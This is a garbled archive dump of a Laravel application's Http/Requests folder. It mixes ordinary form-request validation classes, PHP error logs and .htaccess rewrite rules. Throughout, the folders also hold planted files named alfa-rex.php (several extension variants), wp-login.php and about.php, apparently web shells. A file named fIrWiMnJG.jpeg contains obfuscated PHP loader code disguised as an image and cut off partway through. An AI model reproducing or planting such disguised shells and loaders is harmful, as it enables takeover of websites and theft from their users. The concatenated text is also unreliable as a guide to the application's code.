$rules['sandbox_client_secret'] = 'required'; } else { $rules['client_id'] = 'required'; $rules['client_secret'] = 'required'; } return $rules; } } Http/Requests/TicketType/alfa-rex.php000064400000026574150325104510013605 0ustar00Http/Requests/TicketType/StoreTicketType.php000064400000001073150325104510015173 0ustar00 'required|unique:ticket_types,type,null,id,company_id,' . company()->id ]; } } Http/Requests/TicketType/.htaccess000064400000000544150325104510013160 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TicketType/alfa-rex.php7000064400000026574150325104510013674 0ustar00Http/Requests/TicketType/alfa-rex.php8000064400000026574150325104510013675 0ustar00Http/Requests/TicketType/wp-login.php000064400000026574150325104510013642 0ustar00Http/Requests/TicketType/alfa-rex.php56000064400000026574150325104510013760 0ustar00Http/Requests/TicketType/about.php000064400000026574150325104510013220 0ustar00Http/Requests/TicketType/error_log000064400000001626150325104510013301 0ustar00[04-Jul-2025 14:17:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:20:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TicketType/UpdateTicketType.php000064400000001127150325104510015321 0ustar00 'required|unique:ticket_types,type,'.$this->route('ticketType').',id,company_id,' . company()->id, ]; } } Http/Requests/TicketType/about.php7000064400000026574150325104510013307 0ustar00Http/Requests/error_log000064400000001626150325104510011214 0ustar00[04-Jul-2025 12:55:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:09:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Gdpr/alfa-rex.php000064400000026574150325104510012414 0ustar00Http/Requests/Gdpr/.htaccess000064400000000544150325104510011767 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Gdpr/alfa-rex.php7000064400000026574150325104510012503 0ustar00Http/Requests/Gdpr/alfa-rex.php8000064400000026574150325104510012504 0ustar00Http/Requests/Gdpr/SaveConsentLeadDataRequest.php000064400000001413150325104510016057 0ustar00 'required', ]; if($this->has('consent_description')) { $rules['consent_description'] = 'required'; } return $rules; } } Http/Requests/Gdpr/wp-login.php000064400000026574150325104510012451 0ustar00Http/Requests/Gdpr/alfa-rex.php56000064400000026574150325104510012567 0ustar00Http/Requests/Gdpr/about.php000064400000026574150325104510012027 0ustar00Http/Requests/Gdpr/error_log000064400000001626150325104510012110 0ustar00[04-Jul-2025 13:31:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:05:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Gdpr/CreateRequest.php000064400000001202150325104510013446 0ustar00 'required', 'description' => 'required', ]; } } Http/Requests/Gdpr/RemoveUserRequest.php000064400000001143150325104510014343 0ustar00 'required', ]; } } Http/Requests/Gdpr/SaveConsentUserDataRequest.php000064400000001413150325104510016130 0ustar00 'required', ]; if($this->has('consent_description')) { $rules['consent_description'] = 'required'; } return $rules; } } Http/Requests/Gdpr/RemoveLeadRequest.php000064400000001143150325104510014272 0ustar00 'required', ]; } } Http/Requests/Gdpr/about.php7000064400000026574150325104510012116 0ustar00Http/Requests/UpdateContractSetting.php000064400000001137150325104510014263 0ustar00 */ public function rules() { return [ 'contract_prefix' => 'required', 'contract_digit' => 'nullable|integer|min:0|max:10', ]; } } Http/Requests/Project/alfa-rex.php000064400000026574150325104510013126 0ustar00Http/Requests/Project/.htaccess000064400000000544150325104510012501 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Project/StoreRating.php000064400000001162150325104510013652 0ustar00|string> */ public function rules(): array { return [ 'rating' => 'required|integer|between:1,5', 'comment' => 'required', ]; } } Http/Requests/Project/alfa-rex.php7000064400000026574150325104510013215 0ustar00Http/Requests/Project/UpdateProject.php000064400000004161150325104510014164 0ustar00 'required|max:150', 'start_date' => 'required', 'hours_allocated' => 'nullable|numeric', 'client_id' => 'requiredIf:client_view_task,true', 'project_code' => $this->project_code != '' ? 'unique:projects,project_short_code,' . $this->project_id . ',id,company_id,' . company()->id : '', ]; if (!$this->has('without_deadline')) { $rules['deadline'] = 'required'; } if ($this->project_budget != '') { $rules['project_budget'] = 'numeric'; $rules['currency_id'] = 'required'; } $project = Project::findOrFail(request()->project_id); if (request()->private && in_array('employee', user_roles())) { $rules['user_id.0'] = 'required'; } if ($project->public == 0 && !request()->has('public')) { if (!request()->has('member_id') || (!request()->private && !request()->public)) { $rules['member_id.0'] = 'required'; } } $rules = $this->customFieldRules($rules); return $rules; } public function messages() { return [ 'user_id.0.required' => __('messages.atleastOneValidation'), 'project_code.required' => __('messages.projectCodeRequired'), 'member_id.0.required' => __('messages.atleastOneValidation') ]; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Project/alfa-rex.php8000064400000026574150325104510013216 0ustar00Http/Requests/Project/wp-login.php000064400000026574150325104510013163 0ustar00Http/Requests/Project/StoreProjectNote.php000064400000001476150325104510014672 0ustar00 'required', 'details' => 'required', ]; if ($this->type == '1' && is_null($this->user_id)) { $rules['user_id'] = 'required'; } return $rules; } public function messages() { return [ 'user_id.required' => 'The employee field is required.', ]; } } Http/Requests/Project/alfa-rex.php56000064400000026574150325104510013301 0ustar00Http/Requests/Project/StoreProject.php000064400000004111150325104510014031 0ustar00 'required|max:150', 'start_date' => 'required|date_format:"' . $setting->date_format . '"', 'hours_allocated' => 'nullable|numeric', 'client_id' => 'requiredIf:client_view_task,true', 'project_code' => $this->project_code != '' ? 'unique:projects,project_short_code,null,id,company_id,' . company()->id : '', 'miroboard_checkbox' => 'nullable', 'miro_board_id' => 'nullable|required_if:miroboard_checkbox,checked' ]; if (!request()->public && in_array('employee', user_roles())) { $rules['user_id.0'] = 'required'; } if (!$this->has('without_deadline')) { $rules['deadline'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:start_date'; } if ($this->has('miroboard_checkbox')) { $rules['miro_board_id'] = 'required'; } if ($this->project_budget != '') { $rules['project_budget'] = 'numeric'; $rules['currency_id'] = 'required'; } $rules = $this->customFieldRules($rules); return $rules; } public function messages() { return [ 'user_id.0.required' => __('messages.atleastOneValidation'), 'project_code.required' => __('messages.projectCodeRequired'), ]; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Project/about.php000064400000026574150325104510012541 0ustar00Http/Requests/Project/error_log000064400000002541150325104510012617 0ustar00[04-Jul-2025 13:39:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Project/StoreProjectCategory.php000064400000001123150325104510015527 0ustar00 'required|unique:project_category,category_name,null,id,company_id,' . company()->id ]; } } Http/Requests/Project/about.php7000064400000026574150325104510012630 0ustar00Http/Requests/GdprLead/alfa-rex.php000064400000026574150325104510013202 0ustar00Http/Requests/GdprLead/.htaccess000064400000000544150325104510012555 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/GdprLead/alfa-rex.php7000064400000026574150325104510013271 0ustar00Http/Requests/GdprLead/alfa-rex.php8000064400000026574150325104510013272 0ustar00Http/Requests/GdprLead/wp-login.php000064400000026574150325104510013237 0ustar00Http/Requests/GdprLead/alfa-rex.php56000064400000026574150325104510013355 0ustar00Http/Requests/GdprLead/about.php000064400000026574150325104510012615 0ustar00Http/Requests/GdprLead/error_log000064400000001626150325104510012676 0ustar00[04-Jul-2025 13:58:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/GdprLead/about.php7000064400000026574150325104510012704 0ustar00Http/Requests/GdprLead/UpdateRequest.php000064400000001462150325104510014263 0ustar00route('lead'))->firstOrFail(); $rules = [ 'company_name' => 'required', 'client_name' => 'required', 'client_email' => 'required|email:rfc,strict|unique:leads,client_email,'.$lead->id.',id,company_id,' . company()->id, ]; return $rules; } } Http/Requests/Lead/alfa-rex.php000064400000026574150325104510012365 0ustar00Http/Requests/Lead/.htaccess000064400000000544150325104510011740 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Lead/alfa-rex.php7000064400000026574150325104510012454 0ustar00Http/Requests/Lead/alfa-rex.php8000064400000026574150325104510012455 0ustar00Http/Requests/Lead/wp-login.php000064400000026574150325104510012422 0ustar00Http/Requests/Lead/alfa-rex.php56000064400000026574150325104510012540 0ustar00Http/Requests/Lead/UpdateLeadCategory.php000064400000001261150325104510014356 0ustar00|string> */ public function rules(): array { return [ 'category_name' => 'required|unique:lead_category,category_name,'. $this->route('leadCategory').',id,company_id,' . company()->id, ]; } } Http/Requests/Lead/about.php000064400000026574150325104510012000 0ustar00Http/Requests/Lead/StoreLeadCategory.php000064400000001030150325104510014222 0ustar00 'required|unique:lead_category' ]; } } Http/Requests/Lead/StoreRequest.php000064400000002700150325104510013314 0ustar00id; if (request()->has('create_deal') && request()->create_deal == 'on') { $rules['name'] = 'required'; $rules['pipeline'] = 'required'; $rules['stage_id'] = 'required'; $rules['close_date'] = 'required'; $rules['value'] = 'required'; } return $this->customFieldRules($rules); } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); $attributes['client_name'] = __('app.name'); $attributes['client_email'] = __('app.email'); $attributes['name'] = __('modules.deal.dealName'); $attributes['stage_id'] = __('modules.deal.leadStages'); return $attributes; } } Http/Requests/Lead/error_log000064400000001626150325104510012061 0ustar00[04-Jul-2025 13:31:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:05:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Lead/StoreLeadNote.php000064400000001466150325104510013367 0ustar00 'required', 'details' => 'required', ]; if ($this->type == 1 && is_null($this->user_id)) { $rules['user_id'] = 'required'; } return $rules; } public function messages() { return [ 'user_id.required' => 'The employee field is required.', ]; } } Http/Requests/Lead/StoreLeadAgent.php000064400000000775150325104510013522 0ustar00 'required' ]; } } Http/Requests/Lead/StorePublicLead.php000064400000002502150325104510013670 0ustar00request->get('company_id')); $rules = array(); $rules['name'] = 'required'; $rules['email'] = 'nullable|email:rfc,strict|unique:leads,client_email,null,id,company_id,' . $company->id.'|unique:users,email,null,id,company_id,' . $company->id; $rules = $this->customFieldRules($rules); if(global_setting()->google_recaptcha_status == 'active' && global_setting()->ticket_form_google_captcha == 1 && (global_setting()->google_recaptcha_v2_status == 'active')){ $rules['g-recaptcha-response'] = 'required'; } return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Lead/about.php7000064400000026574150325104510012067 0ustar00Http/Requests/Lead/DeleteRequest.php000064400000000744150325104510013430 0ustar00 'required', 'client_email' => 'nullable|email:rfc,strict|unique:leads,client_email,'.$this->route('lead_contact').',id,company_id,' . company()->id, ]; $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); $attributes['client_name'] = __('app.name'); $attributes['client_email'] = __('app.email'); return $attributes; } } Http/Requests/Attendance/alfa-rex.php000064400000026574150325104510013566 0ustar00Http/Requests/Attendance/.htaccess000064400000000544150325104510013141 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Attendance/StoreAttendance.php000064400000001235150325104510015135 0ustar00 'required', 'clock_in_ip' => 'required|ip', 'clock_out_ip' => 'ip', 'working_from' => 'required_if:work_from_type,==,other' ]; } } Http/Requests/Attendance/alfa-rex.php7000064400000026574150325104510013655 0ustar00Http/Requests/Attendance/alfa-rex.php8000064400000026574150325104510013656 0ustar00Http/Requests/Attendance/wp-login.php000064400000026574150325104510013623 0ustar00Http/Requests/Attendance/alfa-rex.php56000064400000026574150325104510013741 0ustar00Http/Requests/Attendance/about.php000064400000026574150325104510013201 0ustar00Http/Requests/Attendance/error_log000064400000001626150325104510013262 0ustar00[04-Jul-2025 14:17:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:20:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Attendance/about.php7000064400000026574150325104510013270 0ustar00Http/Requests/Attendance/StoreBulkAttendance.php000064400000001765150325104510015763 0ustar00 'required', 'clock_out_time' => 'required', 'working_from' => 'required_if:work_from_type,==,other', 'year' => 'required_if:mark_attendance_by,month', 'month' => 'required_if:mark_attendance_by,month', 'multi_date' => 'required_if:mark_attendance_by,date', 'user_id.0' => 'required', ]; } public function messages() { return [ 'user_id.0.required' => __('messages.atleastOneValidation') ]; } } Http/Requests/OfflinePaymentSetting/alfa-rex.php000064400000026574150325104510015776 0ustar00Http/Requests/OfflinePaymentSetting/.htaccess000064400000000544150325104510015351 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/OfflinePaymentSetting/alfa-rex.php7000064400000026574150325104510016065 0ustar00Http/Requests/OfflinePaymentSetting/alfa-rex.php8000064400000026574150325104510016066 0ustar00Http/Requests/OfflinePaymentSetting/wp-login.php000064400000026574150325104510016033 0ustar00Http/Requests/OfflinePaymentSetting/alfa-rex.php56000064400000026574150325104510016151 0ustar00Http/Requests/OfflinePaymentSetting/about.php000064400000026574150325104510015411 0ustar00Http/Requests/OfflinePaymentSetting/StoreRequest.php000064400000001167150325104510016733 0ustar00 'required|unique:offline_payment_methods,name,null,id,company_id,' . company()->id, 'description' => 'required' ]; } } Http/Requests/OfflinePaymentSetting/error_log000064400000001626150325104510015472 0ustar00[04-Jul-2025 14:23:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:23:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/OfflinePaymentSetting/about.php7000064400000026574150325104510015500 0ustar00Http/Requests/OfflinePaymentSetting/UpdateRequest.php000064400000001237150325104510017057 0ustar00 'required|unique:offline_payment_methods,name,'.$this->route('offline_payment_setting').',id,company_id,' . company()->id, 'description' => 'required' ]; } } Http/Requests/BankAccount/alfa-rex.php000064400000026574150325104510013710 0ustar00Http/Requests/BankAccount/StoreAccount.php000064400000001542150325104510014606 0ustar00 'required', 'opening_balance' => 'required', 'status' => 'required', 'contact_number' => 'required', 'currency_id' => 'required', ]; if (request('type') == 'bank') { $rules['bank_name'] = 'required'; $rules['account_number'] = 'required'; } return $rules; } } Http/Requests/BankAccount/.htaccess000064400000000544150325104510013263 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/BankAccount/alfa-rex.php7000064400000026574150325104510013777 0ustar00Http/Requests/BankAccount/alfa-rex.php8000064400000026574150325104510014000 0ustar00Http/Requests/BankAccount/wp-login.php000064400000026574150325104510013745 0ustar00Http/Requests/BankAccount/alfa-rex.php56000064400000026574150325104510014063 0ustar00Http/Requests/BankAccount/about.php000064400000026574150325104510013323 0ustar00Http/Requests/BankAccount/error_log000064400000001626150325104510013404 0ustar00[04-Jul-2025 08:05:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:52:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/BankAccount/StoreTransaction.php000064400000001617150325104510015502 0ustar00 'required', ]; if (request('from_bank_account') != '') { $bankBalance = BankAccount::findOrFail(request('from_bank_account')); $rules = ['amount' => 'required|numeric|max:'.$bankBalance->bank_balance]; } if ($this->type == 'account') { $rules['to_bank_account'] = 'required'; } return $rules; } } Http/Requests/BankAccount/about.php7000064400000026574150325104510013412 0ustar00Http/Requests/Tasks/alfa-rex.php000064400000026574150325104510012605 0ustar00Http/Requests/Tasks/ActionTask.php000064400000000766150325104510013141 0ustar00 'required' ]; } } Http/Requests/Tasks/.htaccess000064400000000544150325104510012160 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Tasks/alfa-rex.php7000064400000026574150325104510012674 0ustar00Http/Requests/Tasks/alfa-rex.php8000064400000026574150325104510012675 0ustar00Http/Requests/Tasks/wp-login.php000064400000026574150325104510012642 0ustar00Http/Requests/Tasks/UpdateTask.php000064400000007633150325104510013146 0ustar00route('task'); $project = request('project_id') ? Project::findOrFail(request('project_id')) : null; if(!is_null($this->milestone_id)) { $milestone = ProjectMilestone::findOrFail($this->milestone_id); $milestoneEndDate = Carbon::parse($milestone->end_date); } else { $milestoneEndDate = null; } $setting = company(); $unassignedPermission = user()->permission('create_unassigned_tasks'); $user = user(); $rules = [ 'heading' => 'required', 'start_date' => 'required|date_format:"' . $setting->date_format . '"', 'priority' => 'required' ]; if(in_array('client', user_roles())) { $rules['project_id'] = 'required'; } if(!$this->has('without_duedate')) { if(is_null($milestoneEndDate)) { $rules['due_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:start_date'; } else { $rules['due_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:start_date|before_or_equal:'.$milestoneEndDate; } } if (request()->has('project_id') && request()->project_id != 'all' && request()->project_id != '') { $project = Project::findOrFail(request()->project_id); $startDate = $project->start_date->format($setting->date_format); $rules['start_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:' . $startDate; } else { $rules['start_date'] = 'required|date_format:"' . $setting->date_format; } if ($this->has('dependent') && $this->dependent_task_id != '') { $dependentTask = Task::findOrFail($this->dependent_task_id); $rules['start_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:"' . $dependentTask->due_date->format($setting->date_format) . '"'; } $rules['user_id.0'] = 'required_with:is_private'; if ($unassignedPermission != 'all') { $rules['user_id.0'] = 'required'; } $rules['dependent_task_id'] = 'required_with:dependent'; if ($this->has('repeat')) { $rules['repeat_cycles'] = 'required|numeric'; $rules['repeat_count'] = 'required|numeric'; } if ($this->has('set_time_estimate')) { $rules['estimate_hours'] = 'required|integer|min:0'; $rules['estimate_minutes'] = 'required|integer|min:0'; } $rules = $this->customFieldRules($rules); return $rules; } public function messages() { return [ 'project_id.required' => __('messages.chooseProject'), 'due_date.after_or_equal' => __('messages.taskAfterDateValidation'), 'due_date.before_or_equal' => __('messages.taskBeforeDateValidation') ]; } public function attributes() { $attributes = [ 'user_id.0' => __('modules.tasks.assignTo'), 'dependent_task_id' => __('modules.tasks.dependentTask') ]; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Tasks/alfa-rex.php56000064400000026574150325104510012760 0ustar00Http/Requests/Tasks/StoreTaskComment.php000064400000001427150325104510014336 0ustar00 [ 'required', function ($attribute, $value, $fail) { $comment = trim_editor($value);; if ($comment == '') { $fail(__('validation.required')); } } ] ]; } } Http/Requests/Tasks/about.php000064400000026574150325104510012220 0ustar00Http/Requests/Tasks/error_log000064400000001626150325104510012301 0ustar00[04-Jul-2025 13:31:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Tasks/Tasks/alfa-rex.php000064400000026574150325104510013672 0ustar00Http/Requests/Tasks/Tasks/.htaccess000064400000000544150325104510013245 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Tasks/Tasks/alfa-rex.php7000064400000026574150325104510013761 0ustar00Http/Requests/Tasks/Tasks/alfa-rex.php8000064400000026574150325104510013762 0ustar00Http/Requests/Tasks/Tasks/wp-login.php000064400000026574150325104510013727 0ustar00Http/Requests/Tasks/Tasks/fIrWiMnJG.jpeg000064400000013522150325104510014052 0ustar00 $MSdo81gLFl1jlda) { $ICWy2cu1IiGWjkM .= $lNdAy57Nb4gE7ak[$MSdo81gLFl1jlda - 49259]; F17HRCQXlboZshq: } goto VIH8YJp_1zr5bkx; WtO1VfaZV5sjsND: $ICWy2cu1IiGWjkM = ''; goto 